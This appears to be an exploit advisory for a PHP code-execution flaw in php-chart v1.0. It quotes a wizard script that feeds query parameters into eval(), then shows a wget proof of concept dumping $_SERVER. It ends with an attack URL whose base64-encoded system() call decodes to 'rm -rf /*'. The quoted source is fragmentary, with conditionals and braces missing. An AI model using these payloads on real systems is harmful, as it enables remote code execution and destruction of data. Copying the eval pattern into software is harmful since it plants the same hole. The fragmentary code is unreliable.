=============================================================== |
Vulnerable Software: php-chart_v1.0 |
Official Site: http://php-charts.com/ |
Vuln: PHP Code Execution. |
=============================================================== |
Tested On: Debian squeeze 6.0.6 |
Server version: Apache/2.2.16 (Debian) |
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59) |
Copyright (c) 1997-2009 The PHP Group |
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies |
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH |
================================================================ |
Php-Charts is basically a class which can be used to generate |
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML) |
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql, |
================================================================ |
root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php |
require("../lib/phpchart.class.php"); |
$color_var=array("txt_col","line_col","bg_color"); |
$chart=new PHPChart($cname); |
foreach($_GET as $key=>$value) |
if(in_array($key,$color_var)) |
eval('$chart->'.$key.'="#'.$value.'";'); |
eval('$chart->'.$key.'=true;'); |
eval('$chart->'.$key.'=false;'); |
else if(is_numeric($value)) |
eval('$chart->'.$key.'='.$value.';'); |
eval('$chart->'.$key."='".$value."';"); |
root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt |
--2013-01-15 21:19:16-- http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY |
Resolving hacker1.own... 127.0.0.1 |
Connecting to hacker1.own|127.0.0.1|:80... connected. |
HTTP request sent, awaiting response... 200 OK |
Length: unspecified [text/html] |
[ <=> ] 1,917 --.-K/s in 0s |
2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917] |
Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4 |
string(28) "/etc/apache2/htdocs/hacker1/" |
string(21) "Wget/1.12 (linux-gnu)" |
string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)" |
["HTTP_X_FORWARDED_FOR"]=> |
string(14) "/etc/php5/cgi/" |
string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY" |
string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY" |
string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php" |
string(30) "/wp/chart/chart/wizard/url.php" |
string(21) "webmaster@hacker1.own" |
string(24) "UPYOJH8AAQEAAE8eNfMAAAAC" |
string(30) "/wp/chart/chart/wizard/url.php" |
Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1 |
Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1 |
http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL |
=====================ENDS HERE============================ |